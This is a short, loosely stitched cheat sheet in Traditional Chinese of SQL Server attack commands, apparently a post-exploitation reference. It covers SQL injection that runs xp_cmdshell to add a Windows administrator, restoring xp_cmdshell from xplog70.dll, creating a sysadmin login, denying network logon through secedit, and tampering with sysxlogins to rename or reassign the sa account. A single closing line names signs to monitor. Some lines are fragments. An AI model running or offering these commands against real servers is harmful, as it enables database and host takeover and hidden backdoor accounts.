;exec master..xp_cmdshell "net user name passWord /add"--
;exec master..xp_cmdshell "net localgroup administrators name /add"--
攻擊者透過 SQL 注入呼叫擴展預存程序 xp_cmdshell 執行作業系統指令,建立帳號並加入管理員群組。
EXEC sp_addextendedproc xp_cmdshell, @dllname = 'xplog70.dll'
SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell'
-- 回傳 1 表示存在
EXEC master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll';
-- 若失敗,嘗試指定完整路徑
EXEC master.dbo.addextendedproc 'xp_cmdshell', 'C:/WinNt/System32/xplog70.dll'
EXEC sp_dropextendedproc 'xp_cmdshell'
dir c:/ / d:/ / e:/
net user TsInternetUsers PassWord /add
net localGroup Administrators TsInternetUsers /add
secedit /export /CFG c:/tmp.inf
echo "sedenynetworklogonright =" >> c:/tmp.inf
secedit /configure /db c:/Windows/secedit.sdb /CFG c:/tmp.inf
EXEC master..sp_addlogin 'UserName', 'PassWord'
EXEC master..sp_addsrvrolemember 'UserName', 'sysadmin'
db_owner 權限),執行:
UPDATE sysxlogins SET name = '新名稱' WHERE sid = 0x01;
UPDATE sysxlogins SET sid = 0xE765555BD44F054F89CD0076A06EA823 WHERE name = '新名稱';
EXEC sp_configure 'allow updates', 1;
RECONFIGURE WITH OVERRIDE;
GO
-- 接著執行上述 UPDATE sysxlogins 改名,再刪除該登入
-- 注意:sp_configure 兩個參數需 sysadmin/serveradmin 權限,RECONFIGURE 需 sysadmin/serveradmin,且必須在 master 為 db_owner
sysobjects 中擴展預存程序、異常登入嘗試、權限異動。